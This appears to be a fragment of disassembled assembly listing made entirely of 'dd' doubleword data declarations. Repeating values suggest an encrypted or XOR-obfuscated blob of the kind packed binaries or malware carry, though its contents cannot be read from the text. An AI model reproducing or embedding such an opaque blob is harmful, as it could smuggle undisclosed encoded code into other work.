		dd 83AE57DDh, 0C98E1FD1h, 18309DE2h, 0C33DE2BDh, 32EBDADEh
		dd 0E2AF38D0h, 83AF38C3h, 0BF020B99h, 0DCC7E0AEh, 0B46DF798h
		dd 83D54C13h, 7953BD0h,	0BFAB925Bh, 39AF42D1h, 83AE5D39h
		dd 0C94858D1h, 384BE3B6h, 38FBBBDDh, 83AE54DDh,	0C981FAD1h
		dd 0C55CC689h, 9A5DB18Fh, 83B0C38Eh, 0DCF938D1h, 0BE28BC0Ah
		dd 62FFB9CFh, 89172BD1h, 23AF38D1h, 0FB9A9D88h,	0ABA7C84h
		dd 78BA7C9Ch, 4AAF38DEh, 8A069D80h, 7D04A504h, 0C33EE00Eh
		dd 83D4DCD9h, 119D38D1h, 1E8C7505h, 96F55CEFh, 8D17B351h
		dd 83AFFB5Ch, 0FE3EE3D1h, 3B0AB95h, 8D975F28h, 83AE8B5Ch
		dd 3252DD1h, 8D776128h,	83A40B5Dh, 40AF42D1h, 83AE5D39h
		dd 0C99F58D1h, 3873E3BDh, 38FBBBDDh, 83AE8EDDh,	0C9741DD1h
		dd 82AFE400h, 0B35682ECh, 8B223ED1h, 16BB5E42h,	83AF388Bh
		dd 99A70E46h, 4B2E6100h, 16B840DBh, 83AF389Bh, 0F318BBBBh
		dd 4B223E09h, 845EB9C6h, 83AFAF5Ch, 0DDF18D1h, 0A2A96380h
		dd 2BB0ABDFh, 8CF8C3B0h, 8C9938D1h, 83A4C08Fh, 314F38D1h
		dd 3F8A521Eh, 4F255CFDh, 830C5CFDh, 3AF138D1h, 87A57B1Eh
		dd 30020A12h, 83AF30F8h, 8C9938D1h, 83A4C080h, 324F38D1h
		dd 478A531Eh, 4F255CFDh, 83435CFDh, 33E238D1h, 86154E1Eh
		dd 8DEAEF91h, 1CAF38D1h, 83A23351h, 0FB7238D1h,	0BA0B8E4Bh
		dd 0F67F52D1h, 233C217h, 8C987CDCh, 83A4C080h, 324F38D1h
		dd 478A531Eh, 4F255CFDh, 830C5CFDh, 33E238D1h, 0A3A6751Eh
		dd 356B0E47h, 1E396100h, 96CDE08Bh, 7EBE644h, 3066610Ah
		dd 89203E8Ch, 0BA45C25Ch, 0CA7B85D1h, 95523A27h, 0CC24A001h
		dd 662E23DCh, 10872E58h, 0E39610Ah, 96CDE6CFh, 0E224A9E6h
		dd 2BDBEDD0h, 648138A7h, 83AF38C2h, 316452F1h, 8F5B4F58h
		dd 8F5B1F50h, 83AF38F6h, 54642A9Fh, 7222FE35h, 8D95171h
		dd 0BA0C824Bh, 39AF42D1h, 83AE5D39h, 0C94858D1h, 384BE3B6h
		dd 38FBBBDDh, 83AE55DDh, 0C981FAD1h, 9ED4495Bh,	96EC5F17h
		dd 88D8BD50h, 0E8C455Ch, 96F5845Bh, 0FB878C6h, 83AF3882h
		dd 83B1DEC2h, 0BE3938D1h, 4EB92E43h, 2BB6100h, 83AF38DBh
		dd 0A4E4DEE8h, 83A430A5h, 1F2A38D1h, 96F587A3h,	8C99BED2h
		dd 83A4C080h, 324F38D1h, 478A531Eh, 4F255CFDh, 83415CFDh
		dd 33E238D1h, 8D75B81Eh, 1E8F9612h, 0F896534Fh,	9BEF1BA8h
		dd 0BAA3DEECh, 616FE5D1h, 89174DD1h, 23AF38D1h,	0FB9C9DB6h
		dd 0ABA7CB4h, 7FBA7C9Ch, 50AF38D1h, 8D4B9D8Eh, 83AE5E43h
		dd 0A3E2F9D1h, 1E2428D7h, 95F2ACDBh, 100D6FD1h,	0B3572213h
		dd 6B6B38D1h, 0C38C4D8Eh, 83BA5DE8h, 7A3EE3D1h,	0EB0ABF1h
		dd 0B9109073h, 32F4B9D1h, 42D6DD89h, 83B0ABF9h,	397E912Dh
		dd 83BA5DE9h, 7A3EE3D1h, 0EB0ABF1h, 0BAF53373h,	32F4B9D1h
		dd 46AF4289h, 83AE5D39h, 0C94958D1h, 3883E3B3h,	38FBBBDDh
		dd 83AE91DDh, 0C98E1FD1h, 0CD5C1E84h, 2FE6F64Dh, 1EA76100h
		dd 96F561B7h, 0A68A7B46h, 96F592AFh, 8C26E7B0h,	8B0D141h
		dd 0B3E1CA73h, 3A26E3D1h, 2B0ABF6h, 0B354025Bh,	463EA1D1h
		dd 7BB0ABE4h, 1AF38B8h,	923EA11Bh, 83B0ABF4h, 61AF38D1h
		dd 891751D1h, 23AF38D1h, 0FB489DB2h, 0ABA7C54h,	7EBA7C9Ch
		dd 4CAF38D1h, 0BA1D9D8Ah, 0AE6A4071h, 966322FAh, 1E0C7E13h
		dd 0F66EB9E2h, 61B0ABF2h, 891751D1h, 23AF38D1h,	0FB489DB2h
		dd 0ABA7C54h, 77BA7C9Ch, 4CAF38D1h, 7C559D8Ah, 0CD9015ABh
		dd 8AD35155h, 0BA5BD214h, 8ACEB9D1h, 3B0ABC9h, 8C99B902h
		dd 8C8F0FD2h, 0C38F6100h, 1AF9ECADh, 1B41CDEBh,	0C62002B5h
		dd 0CFC370AEh, 35B434F0h, 7501BCF0h, 43656CCCh,	45397447h
		dd 0C1CDB1BCh, 0C19F1139h, 82899826h, 2E326040h, 66990627h
		dd 14F6014Fh, 1EF5A6F2h, 46FFA7B8h, 3018496Dh, 1Eh dup(46FFA738h)
		dd 1DFFA738h, 46FF9D55h, 0C914C80h, 0FEED7CA0h,	0E0E68A3Ch
		dd 1D035555h, 1CCF5FA8h, 0C9EEC8Fh, 0FE017CA0h,	2EE68A3Ch
		dd 1D035553h, 1CCF623Ch, 0C9DE68Fh, 0FA657CA0h,	8E68A3Ch
		dd 1D035529h, 1CCF6200h, 0C99F78Fh, 0FAD97CA0h,	0B0E68A3Ch
		dd 1D03545Bh, 1CCF6514h, 0C998C8Fh, 0FADD7CA0h,	0D2CC8A3Ch
		dd 824FB7BAh, 4E9DF565h
		dd 0CAF6EA0h, 0CA05AD6Ch, 979BE253h, 1BAAD75h, 5AE5703Bh
		dd 9D3FFCE4h, 0D263BF20h, 4CA5486Eh, 69F1C358h,	0C0152303h
		dd 8242B74Dh, 0B4942F63h, 0F40722D4h, 0BCF1C922h, 0BDEA9F59h
		dd 0D88FA83Ah, 600EF1D5h, 977921B6h, 4A9F9A5Bh,	60016F53h
		dd 0CBE37BB6h, 600ECEF7h, 0DAA9DFB6h, 6C717891h, 0A2CF9395h
		dd 6E5CF9C6h, 456B9FB7h, 0F48F37F4h, 8FEA37CFh,	6EFFA738h
		dd 0D66BEF2Ah, 82494286h, 57257129h, 3054CD5Ah,	8AD4F9C6h
		dd 0E8F9B210h, 71DD12B6h, 2FA13122h, 4F94BA65h,	411C4221h
		dd 975E6A68h, 2EF1C9BEh, 0D38392DEh, 4C6DD223h,	8921606Fh
		dd 451537CFh, 0E0FFA727h, 0F2D1D984h, 0F2D4E53Eh, 0FE567F9Fh
		dd 0C015513Ch, 9C42B74Dh, 24A9EFB1h, 3D7C0C0Fh,	9F126840h
		dd 0E89C1863h, 9232C456h, 31EF17Fh, 548A3034h, 7EB6BA5Fh
		dd 66FE7915h, 0E7D463DCh, 0EFE6EB4Eh, 0BC3C2737h, 0D8B989ECh
		dd 6E349C7h, 85CFF9CDh,	79D69274h, 0ED30E915h, 2FA067D1h
		dd 3859C671h, 4227B6F0h, 7E8EA328h, 22F1C978h, 0CA20C98Bh
		dd 0FC2FC04Dh, 4FD33033h, 165F3037h, 0C9A7B1E3h, 83DA2886h
		dd 0C919882Fh, 5426A254h, 40FE8673h, 0D50701F1h, 0AF439660h
		dd 240A0BEAh, 97C8CF5Fh, 1558BAC7h, 5E77829Fh, 0C9FFA7ACh
		dd 2387BD1h, 590FD917h,	9709522Fh, 0D14991E6h, 0E6DDC622h
		dd 6EEFE93Eh, 46ED1E8Dh, 79D85975h, 0B76AD231h,	0F8328FF1h
		dd 2FAE46B8h, 0C00433E4h, 711F17FFh, 0EAF29D79h, 28B60D94h
		dd 0E91E995Bh, 5AA742BFh, 0D3FE7612h, 3242BDDh,	0BF043034h
		dd 691A0634h, 413AB7FFh, 96619215h, 9E70C0E2h, 0AF4D860Ch
		dd 33C506B2h, 9598AEBEh, 7DA7F9C6h, 4AD6C83h, 76662968h
		dd 8363F53Bh, 12A308F8h, 0EB447DB1h, 0A6718D9Bh, 6F65F9CDh
		dd 0ACFEA4BAh, 2FA0861Eh, 7079688Bh, 7D20A9B5h,	91893922h
		dd 0EBB584CFh, 0D80937C0h, 1DFFA7ACh, 0F52129C1h, 83C10497h
		dd 0B6BEC811h, 0E0F9B5B2h, 7883549Bh, 6B05574Dh, 0CF198BEFh
		dd 0B7AEA056h, 90C55Fh,	0AA28239Eh, 86B17C8Fh, 3D6AF9C6h
		dd 9F4FB77Ch, 3C9C0B62h, 32D7B93Bh, 840D8E6h, 292C5996h
		dd 22D83037h, 5F273374h, 5D8CFDE5h, 0EF7D4A5Ch,	2796A003h
		dd 7B4C3114h, 3D298DE8h, 46FF9ED1h, 0CDCC9AA4h,	0A93587E1h
		dd 0ED4D51D3h, 0A1DBD69Fh, 0F911945Ch, 0BCA558DDh, 0E3E61040h
		dd 1EC14909h, 0D9CC85F4h, 0EEC098A2h, 59211A7Ch, 4854B6B6h
		dd 4F1C49A6h, 0A04E9846h, 8B5E6A6Bh, 0FBFE76F7h, 0D8F14A68h
		dd 8D8AA5DEh, 0F52129CAh, 0E4CEEA97h, 0F512BC4Bh, 99093035h
		dd 523CB67Ch, 3064B4C5h, 6C749945h, 3A98538Fh, 47E2ACB0h
		dd 80DEF9C6h, 47F81314h, 2B56F9C6h, 2C2B22ECh, 3AD637CFh
		dd 0B2FFA738h, 4600F675h, 0F50ADC38h, 0DA85AB4Fh, 5EF1C925h
		dd 9440C550h, 0E872FD7Dh, 4F111426h, 0A01F05D8h, 0CF196424h
		dd 7C3EDBE6h, 0A9DBC777h, 9E71FF7Bh, 3678C02Dh,	941E8E34h
		dd 2BADFED3h, 941E6E29h, 0E4756AD3h, 284E430Ah,	0D3F69EE4h
		dd 9E8AB211h, 78F1EDDAh, 0AD170E7h, 0F44693E2h,	492C54A3h
		dd 8EA66F60h, 0CD15A11Ch, 0EBC9D835h, 99331FC0h, 0AC3B4F22h
		dd 74AD8487h, 7CE7DF10h, 4866E11Eh, 771F1455h, 0DFEB6EC2h
		dd 0D3304FD1h, 0E313805Fh, 72EA3CB1h, 7D2F47E0h, 8BA5CD0Bh
		dd 0F142874Ah, 0DE7463B9h, 4673CFA5h, 7C985772h, 7E0524E1h
		dd 913DE50Bh, 8DEDDEDBh, 0CD14E31Eh, 779F35h, 16450DF1h
		dd 6222239h, 0D1CEF32Eh, 0E6E93CF2h, 0D9A50F09h, 0E0B546A8h
		dd 0A9A439FEh, 8CBBFB6Eh, 2360E4B7h, 6A9BCC02h,	3499C13Eh
		dd 4C2129CAh, 0E96DF5F2h, 908A0F93h, 47E7E463h,	3E6830FDh
		dd 0AB61E203h, 0BE01FE1Bh, 0A9FFA7AEh, 5B19DB71h, 0B9EE3988h
		dd 69B2CEh, 38D6F10Dh, 0C6BD2943h, 4E0F4845h, 258C81EDh
		dd 0DAF9B6D5h, 1E0A3291h, 5193EE51h, 2FAE43D8h,	54E79244h
		dd 5CC49A6h, 0FCC40878h, 345D5B97h, 0A83DA738h,	0CBFE87CAh
		dd 9D0DC5B4h, 0E59D0170h, 19B53D3Dh, 0E0BB2E3h,	0B1AABA84h
		dd 0A12A34Bh, 4EE16C33h, 7B932FF0h, 1CD2D83Fh, 99F1C343h
		dd 0C015F353h, 9C42B74Dh, 0F6F4BAEDh, 0F6B43035h, 636DD445h
		dd 26A901B9h, 0C6B3DE11h, 7FFE76F6h, 73DDBB85h,	462BB1BFh
		dd 90D2F9C6h, 60FFAC12h, 9A3879B6h, 8CD30532h, 52B8AA4h
		dd 0BB2A3B6Dh, 4A6A2F74h, 621A4CAEh, 7ED0E981h,	0CE3BBA79h
		dd 15242A9Eh, 5123E41Ah, 30A88799h, 0F758736Ah,	0AA28239Eh
		dd 75626B8Fh, 0C4FCAE80h, 0C7C767D8h, 7EA50B74h, 6BACA10Eh
		dd 9DF51699h, 0B9869936h, 4F5E313Eh, 9ECA395Eh,	0C5AF965Ch
		dd 0EDF1D543h, 0C21EE30Dh, 4F4B9C3Fh, 46072C49h, 9FC67E38h
		dd 0DEF9F0D3h, 18A42E9Dh, 0F5D26647h, 2D68A605h, 0CE4B2CCCh
		dd 1CB29DC5h, 5D1BD517h, 983651A4h, 549A84E5h, 0D3E9C946h
		dd 99F9C3h, 6881BD8Eh, 0FF58D4F7h, 0EC8A75B2h, 55CD3035h
		dd 0AAB34C2Fh, 81AD023Dh, 2FAE44FFh, 7181A42Bh,	45F1C34Ch
		dd 0E6821EC7h, 1AEFA728h, 57771B23h, 6B39006Dh,	36ABE38Bh
		dd 486C2801h, 0A530062Ah, 0DAF9B6D4h, 0B7FC8B3Bh, 7A53DEFh
		dd 46FFA238h, 0C3D4E28Ch, 1BAAF49h, 0E555393Bh,	9923FEE7h
		dd 0D879BDA4h, 0CDEAA022h, 6BE1E928h, 3F69211Eh, 0FFD45DDDh
		dd 5F68D08Dh, 59204144h, 175CCEB6h, 0F52129C1h,	6999CF43h
		dd 4DFE76F7h, 9C34B2Fh,	64366397h, 3064B428h, 97AC3FF0h
		dd 0B166C02Eh, 94D5176Dh, 81A3A9A1h, 0BE595D96h, 199C81CAh
		dd 3C35389Eh, 0F9FE7943h, 0F4F6FFF2h, 0C6F8C4h,	132763DBh
		dd 0D7E90BABh, 6A79CC2Dh, 460007A8h, 0F50A3638h, 0A785AB4Fh
		dd 77F1C346h, 9C08BE7Dh, 0B292F565h, 26AE43D2h,	0C61CDFEBh
		dd 1CB44133h, 40FE5071h, 72826AFBh, 0A1D38827h,	23B0DBEh
		dd 869CEF9Fh, 450D64FFh, 0ED5FA738h, 0E01218F4h, 3064B74Bh
		dd 0E30D57DEh, 11E725F0h, 88D70D67h, 174CA6EBh,	8E91AEA5h
		dd 2C891054h, 0F68C85CAh, 2D2A5255h, 0B1A05AFFh, 46FFA7A0h
		dd 3C7841CDh, 0E45AA738h, 0D3AE34F4h, 3064B74Fh, 6F5F8DBh
		dd 0B9FE76F6h, 20D6FC32h, 9DFE76F6h, 84D7DC1Fh,	3298E8F9h
		dd 0EC202EF4h, 84B61192h, 6F00E040h, 2016DBEDh,	0E475F2EDh
		dd 46FFB66Dh, 0E90D8138h, 85C4D99Bh, 0BECAE6E9h, 0C46CAFC2h
		dd 4EF643A3h, 0F15CCE40h, 3298AC71h, 0F705D474h, 0E472064Ch
		dd 47A439FAh, 0D8F32AB3h, 0A030B8C2h, 84FFA738h, 0E596F3FFh
		dd 0E33FFEE7h, 3064B4DFh, 676AB4Bh, 0F59670F3h,	0C2133035h
		dd 439DF5ADh, 0EECD15A1h, 0ED2E5A09h, 5208521Eh, 6D30B19Fh
		dd 46FFA7C8h, 34212991h, 27FBDCD2h, 0F0F01318h,	3476CC02h
		dd 3064B865h, 32CCECA5h, 8C482802h, 5FE97F62h, 0D3D5B429h
		dd 6A79F1A6h, 46FFA2A9h, 54693D38h, 7DFFA727h, 46FE6B4Eh
		dd 0E90ADC38h, 82C4D99Bh, 1B2C9FD3h, 0F6B432B5h, 24B845h
		dd 541F468Ch, 48A623E0h, 0DCE141E6h, 46FFA752h,	964257DEh
		dd 256B6F1Fh, 0E90AB654h, 0D121C74Bh, 0E5FE76F6h, 0BE92C757h
		dd 45156DBh, 156FEFBCh,	8D9391B4h, 46FFA79Ch, 26C15BEBh
		dd 578E0936h, 60712935h, 0D8BBF064h, 213E50C7h,	0D7BD6CF5h
		dd 3064B743h, 85B34CCFh, 0B6A2FB67h, 5496ECB2h,	3064B4C7h
		dd 409AD343h, 3064B863h, 0D313AC2Fh, 3FA045D1h,	7B1656DCh
		dd 0A8546D27h, 0F180184h, 280891DFh, 102B8C3Fh,	0E848DB95h
		dd 336CB43Ah, 0E8FFA738h
		dd 3FF40A4Eh, 0C015DC38h, 0CD31B74Dh, 15FE76F6h, 0B6C4E311h
		dd 52BF4C7Ah, 69D3221h,	0FD84AF7h, 0F0F98E93h, 0BFCEC602h
		dd 40505911h, 2A349ABFh, 0E3EB23E6h, 68819C8Eh,	0E4A963A0h
		dd 8427EE4Fh, 5A936276h, 0E70E5C63h, 15EC42F6h,	60496F5Dh
		dd 9109D28Ah, 3693A718h, 0AB2F7E45h, 0CE3F7DF6h, 0E5FE76FBh
		dd 0B0490A5Bh, 1BD3A370h, 0C86A8A38h, 6511A04Dh, 6BA7D67h
		dd 2FDD46F4h, 46FFA437h, 6881BDD7h, 59D4F7h, 4F7546BFh
		dd 408D9F21h, 0AC4DF9C6h, 5868ACA2h, 25B7543Ch,	53133EB0h
		dd 7AF1C9CAh, 0E72C4602h, 0F92FBCBBh, 46FFA7F8h, 32212985h
		dd 0D352719Eh, 0A79F933Ah, 8E16B155h, 68A25F95h, 2FA1271Bh
		dd 0B5EE84B7h, 2FA1271Fh, 0E6E73EAFh, 75A65A38h, 46FF512Fh
		dd 0D4278838h, 0DBBB07FBh, 0BFCDE666h, 0E38DF9CDh, 54768F42h
		dd 8CA249A6h, 235C6287h, 0CD4D81FEh, 0EF7B48D0h, 8A92B867h
		dd 0B6BEB913h, 7677EFB2h, 0B6BEABF7h, 0D61F37B2h, 0D1BF72E4h
		dd 3064F344h, 0AC8D16C5h, 83DF043Fh, 301E8198h,	1DDC1304h
		dd 0F5030C15h, 0A9FF42A7h, 0E1C7F803h, 3945826Dh, 0B025A738h
		dd 0D3067FF2h, 2535BDBDh, 4D84FA78h, 1DD3525h, 16328A6Bh
		dd 0C9D2E28Ch, 1BD8B73h, 0E656343Bh, 9A3BF7F8h,	47D3027h
		dd 91F1C34Ch, 0BA15CA5Bh, 0EDF1D543h, 4BA64D0Dh, 8CA249A6h
		dd 0DF766099h, 2DB0D22Eh, 0ECA1C14Eh, 58213035h, 0C41D75A6h
		dd 0CCE96CB9h, 2FA1C2A7h, 0EB4FE8FBh, 27FF389Bh, 0D9D5310Dh
		dd 7CE57421h, 6CAE88F4h, 2FA07C42h, 0F946473Ah,	5D27F248h
		dd 3064AF23h, 0E596EFEFh, 0B0F71B46h, 0FA82C4B2h, 589A49B0h
		dd 9E73A2A2h, 753FF9C3h, 9C29E3D8h, 3E38F60h, 824CB160h
		dd 0C9F1C080h, 908AA5DFh, 46FFA79Fh, 0EC39FA34h, 76393035h
		dd 70CF8EF4h, 0D6EE8B8Bh, 547973C7h, 0F797BE70h, 0B6A2A66Bh
		dd 724B58B2h, 0F119A441h, 1844670Bh, 245C9086h,	0F1FE76F7h
		dd 462F7FBh, 88FE76F6h,	2C424404h, 2B9689FCh, 0EC1B9D80h
		dd 578E09C9h, 0E8194535h, 0DD3576B3h, 98138C23h, 31ABFC1Eh
		dd 0BBF8BC4Dh, 0E258DDC1h, 0F502286Eh, 0A1D942A7h, 341750FFh
		dd 0E6D6F17Fh, 0F5D3035h, 6A792076h, 227823E2h,	1CB53D38h
		dd 363E57E6h, 322129D6h, 7DE0E2D4h, 7CC2E5C7h, 346BAAF9h
		dd 0B47921DEh, 0A6B6A54Eh, 753E57E6h, 0BCC191D8h, 76E8AE63h
		dd 59C91505h, 0C21328A3h, 9762B1E8h, 7328EA1Ah,	0D0D8F9C6h
		dd 2311D5C7h, 3B8FC702h, 5FB74158h, 0F06567B6h,	8ADF8364h
		dd 92319702h, 0D1A288EDh, 7150563h, 75BA9A7Ch, 46FFE0F8h
		dd 0EE808638h, 41369B28h, 46D740D6h, 0CA49C60Ah, 24F416C4h
		dd 2055DB0Dh, 96D43034h, 3B4CB1A2h, 0CBF1C966h,	0C3A13DD8h
		dd 5FC1B5D0h, 0D2F1EEB6h, 7E8952C0h, 2FA06922h,	27C1A085h
		dd 75A7189Eh, 46FF7505h, 0C0152938h, 0EFCE119Dh, 8AC58867h
		dd 3069A502h, 4B989D0Ah, 660244B9h, 65E6B7DCh, 517509E8h
		dd 14BC4131h, 48FE76F2h, 7BA9F44Ah, 0B6B17D19h,	96DE0DB2h
		dd 3064F0BEh, 169F0EEh,	0AD77A357h, 3064F313h, 328216DBh
		dd 1C881ABCh, 670C59E4h, 0B6BE99FDh, 90A139B2h,	3070FEB8h
		dd 3064F090h, 85B3EB0Ch, 0E917F374h, 42933035h,	8AB36669h
		dd 9B796190h, 2FA1D0E4h, 83BC2FA0h, 6EB8659Bh, 3062B2A7h
		dd 0EB320DFAh, 25A80B27h, 704663D2h, 0CF58CE7Ah, 7273C539h
		dd 0D9AE6785h, 0DB906982h, 48A99997h, 93C177E8h, 7B543979h
		dd 0D57000E8h, 46FFA7E0h, 843D0AF4h, 0D962B4BAh, 14BC8178h
		dd 524A46AEh, 30CE056Ch, 0CD2DC66h, 0B3E9A190h,	0E7FED858h
		dd 0A73D1505h, 17F368F5h, 5997068Bh, 700786B6h,	836B23CEh
		dd 4CC381EDh, 0B41D2547h, 9A5ABC09h, 0EEC8F77Bh, 4A5AC8h
		dd 0ECB1A724h, 0AA9DD347h, 8EF1C982h, 0B6ACD5E0h, 0B6F1C982h
		dd 1300BA5Dh, 352FBC6Bh, 46FFA771h, 372129A9h, 0EC304FD1h
		dd 0B3103035h, 3D991830h, 48DF838Bh, 193FF768h,	3D1816B4h
		dd 0C6137A50h, 0F46CC15Bh, 0B6477068h, 0EF706DB2h, 2D3CA003h
		dd 66A5B6A0h, 2F214FD1h, 0CFA1F9C6h, 0CD9AC539h, 6713757Eh
		dd 62030DCDh, 651F1BF1h, 306218DCh, 3297C274h, 0B596E72Bh
		dd 85FFCAB2h, 0A5BCE239h, 2F645E9Ch, 6707C756h,	0D745921Dh
		dd 15583155h, 1EE590F9h, 89FFA727h, 0BBF83B9Ah,	20CE99D7h
		dd 59F6D5EEh, 983651A6h, 1F9C86E3h, 2D2FA9E5h, 62DDECDh
		dd 3A1916B4h, 7EAD5671h, 0B1F34F3Ah, 2FAE1BE7h,	4BC4F324h
		dd 2A5043A4h, 58847EFFh, 0F8942EF6h, 54FA9346h,	8CA249A6h
		dd 0DF766099h, 0A780962Eh, 0FF8F15DCh, 5992E0E3h, 0C6BA9CB6h
		dd 5E8D006Eh, 5D99C17Eh, 3527026Fh, 0D0CBC728h,	128344D3h
		dd 0E14693A0h, 1095410h, 0C27F386Bh, 690BA20Bh,	0DF0D1C01h
		dd 0E04995AEh, 464FA823h, 3790F8C5h, 0C188A7B9h, 0BF8A20Bh
		dd 80AE34CDh, 980C888Fh, 64D3A7E7h, 8EA66FCFh, 58A2B4BDh
		dd 8409BD9h, 4A71FF3Fh,	0E819215Fh, 6CA63DB2h, 1292A8FAh
		dd 771234A0h, 0AE5D410Bh, 0A73A105Ah, 0A9254DF5h, 0E80602F3h
		dd 4A63DB2h, 46FFA7A8h,	1C35D86Bh, 70FE87B7h, 0DEFEA0B6h
		dd 4B5B6761h, 89BB40A3h, 2A535F9Ch, 0C3F37FF2h,	676C7BC5h
		dd 0A5BFB431h, 406FD51Dh, 53CB3341h, 80AE152Eh,	0DE436F8Eh
		dd 0BCD41C95h, 46FFA364h, 397C2638h, 0F5EBABF5h, 41A4C3DCh
		dd 6BE7EBC4h, 0BDFFA76Dh, 0B444C3D3h, 39B42404h, 0BFFFA738h
		dd 4280A30Ch, 629AEBC4h, 0CCBCFFC4h, 4A9CA2E9h,	398B24C4h
		dd 8AFFA738h, 0C5EBCB2Dh, 46FFA363h, 159BD438h,	46066E94h
		dd 0A7F2A738h, 8D2C9E2Eh, 7BEBF339h, 1CCA63A5h,	0C659C3F3h
		dd 657AA363h, 0A578B27Fh, 0A058C8C9h, 13B73B7Ah, 3F035451h
		dd 0C7DFAE63h, 0A8C98ED0h, 2977A2FBh, 47CB26F9h, 5E0E5098h
		dd 271D514Fh, 0E8A71AEEh, 6FBD4031h, 0CEFA348Ah, 0E5E5D550h
		dd 83A147D8h, 0EEE7CA4Eh, 25B87E5h, 3A0620F1h, 6734BCB6h
		dd 93326BB9h, 59537BE7h, 1CF81D2Ah, 32EA9D81h, 5141E6C1h
		dd 1C5EC037h, 50A29A1Bh, 0E50590CFh, 1DE4B4BFh,	0AFE817D2h
		dd 3B2D5140h, 0E6B0D7CBh, 0FA296ED3h, 0C6BF6B39h, 1EFB6DB9h
		dd 46FFA7D5h, 91EE6DE7h, 94A17B1Ch, 642A050Ch, 1D593236h
		dd 46FFA7D3h, 0AAAE3867h, 280C1797h, 0AE721B0Dh, 5D27538Ah
		dd 8873C1D6h, 46FFA10Fh, 3F3EA938h, 0D9494F63h,	7B615F38h
		dd 252569A7h, 3A25A738h, 0DB1228D0h, 46FFA7ACh,	22894AA9h
		dd 0B72DD2F3h, 0B3C90F30h, 46FFA7ADh, 675682Eh,	0EEF4FCD4h
		dd 8EC71E97h, 0BBF467A7h, 0B3C8E911h, 46FFA724h, 0BCC672A9h
		dd 23B7FD67h, 0DCC90788h, 3A9B07ECh, 0FE307AFEh, 0C66772A8h
		dd 9344A408h, 0E94C84A7h, 7208BA9Ah, 0E9D0569h,	2178249Ch
		dd 3278AD58h, 227845A3h, 46037C38h, 0BDC8A738h,	40F34BD5h
		dd 0F739AD32h, 10BEE573h, 2E5D8C5Fh, 0EA3105DDh, 6C65FB83h
		dd 0EE8A5D6h, 527B2F03h, 6C654D8Fh, 0D8E95789h,	0D8EB8ACAh
		dd 2730F4D5h, 0F32D751Dh, 0D8162F03h, 0E090F4D5h, 0D7A30C85h
		dd 3F36F4D5h, 0B3C5C11h, 149530F0h, 0D74030F0h,	0B056F4D5h
		dd 645A24E9h, 3F94865Dh, 0E41B8BBEh, 272A9C5Fh,	0EAD4F7DDh
		dd 49BEE9DEh, 0CC115FD4h, 0F816F4D4h, 0EF76F3BDh, 5EA25028h
		dd 0E2A25090h, 0B516F4D5h, 0BF4EF3B5h, 0E8A5D4h, 0E9842F03h
		dd 4903C604h, 22B4F7D4h, 0F0BEE9D4h, 0E9A1EA14h, 2F143DC5h
		dd 31AADFDDh, 59BE065Dh
		dd 51598689h, 7A903222h, 9036CD86h, 0D4318B3Dh,	0EFD5C603h
		dd 92616F8Bh, 169D10E8h, 20A8927Fh, 5348CA57h, 0EFC1A555h
		dd 0A9A3275Fh, 0CA839BB7h, 3BCCE822h, 0DFB2F52Dh, 1AD3F518h
		dd 0B2814112h, 0CF2BA340h, 31994A13h, 31E01A2Eh, 0CF5FC4E6h
		dd 3197F3EDh, 55F8E4Bh,	0EAEC2A6Ch, 94EEC4E6h, 3378D1D5h
		dd 33ADA97Ah, 26DAD1D5h, 2F583268h, 80E7CD09h, 33DECD09h
		dd 8213D1D5h, 2A3E1268h, 6AA1E5C7h, 0B73A21D5h,	3197F205h
		dd 337AD1D5h, 0EC642A08h, 67F1C4E6h, 3197B537h,	0BEAD04Fh
		dd 337AD1A8h, 842EF935h, 37B70D2Eh, 37B70D56h, 337AD131h
		dd 356A0015h, 31D04FAEh, 0F4FF484h, 53003A0Eh, 557FC4E6h
		dd 0DA7AD1D5h, 68DD5A4Bh, 49F73C53h, 0C7E279D8h, 3197B9DDh
		dd 0B10D04Fh, 337AD1A8h, 262E3335h, 37B7FD2Eh, 37B70D56h
		dd 337AD131h, 0DA6ADB17h, 6FF15416h, 0DA042E20h, 0E6203A52h
		dd 3378C4E6h, 33EC1AD4h, 0F345C4E6h, 22979DC0h,	0D649A16h
		dd 0FE02B64Ah, 4C9B95Dh, 9C2B5212h, 60FE952Dh, 5E07084Fh
		dd 683F582Ch, 9E818B9h,	3794466Fh, 0A916C749h, 83B7258Ch
		dd 0E875C023h, 80328E84h, 0F7D7F641h, 0AB162139h, 0CC9DAD7Bh
		dd 1A380965h, 0ED66D44h, 6CFDB655h, 0B7414B1Bh,	0E2E35016h
		dd 12E9488Bh, 0BA648090h, 8B2266B5h, 6E26807Eh,	982F20C5h
		dd 8B234A53h, 0D3E81BDEh, 9196193Eh, 8B226C52h,	0C3E81BDEh
		dd 91961935h, 8B232852h, 93E81BDEh, 9196190Bh, 8B225452h
		dd 9BE81BDEh, 919619AFh, 8B229052h, 1777E3DEh, 8B961923h
		dd 8B2FE2ADh, 0E8C766DEh, 142266DEh, 9028636Eh,	8BBE9829h
		dd 5DA566DEh, 91FBE446h, 8B23B152h, 0CC4CE9DEh,	142266C5h
		dd 0D38D6D40h, 18EAA129h, 638D55EFh, 0D3E84B2Eh, 8B16E2ADh
		dd 0D2F566DEh, 8B05E0D5h, 0CDF566DEh, 8BEDE3D5h, 6C0D66DEh
		dd 0A9A188D3h, 0C83DF7FAh, 8B226DF6h, 9E97EDDEh, 0C9618EBh
		dd 8B2266D3h, 6C5803DDh, 0A72016AEh, 307C2B4Bh,	8B232486h
		dd 5EAFF1DEh, 0BC9619D5h, 8B2266C5h, 92A36566h,	2CA766DEh
		dd 8B2324F7h, 7970C7DEh, 39346C9Dh, 4D82C2F2h, 9BBAB02h
		dd 0F184B36Bh, 0EAFDCC1Dh, 0D885B167h, 9F41C2B6h, 0D748F189h
		dd 0E93AD046h, 0D7D5C252h, 0D898CA1Ah, 9F41C2B6h, 0D748F189h
		dd 0B83DD046h, 108A0F03h, 0D885411Fh, 9F41C2B6h, 0D748F189h
		dd 8140D046h, 84CF6CCDh, 188302A4h, 13823551h, 0FA5A2DB4h
		dd 0D859FF95h, 8A63E615h, 188302A4h, 13823551h,	0FA5A2DB4h
		dd 108DDF1Ch, 3ACBA9BDh, 4D82C2F2h, 9BBAB02h, 6284B36Bh
		dd 0F61D411Ch, 0FC30C07h, 0F8FE5BB2h, 5C67BC57h, 99A8C7B7h
		dd 188302A4h, 13823551h, 0FA5A2DB4h, 0E96E3714h, 10B20C2Dh
		dd 0F8FE5BBDh, 5C67BC57h, 8282FFB7h, 3A6D9C6Dh,	4D82C2F2h
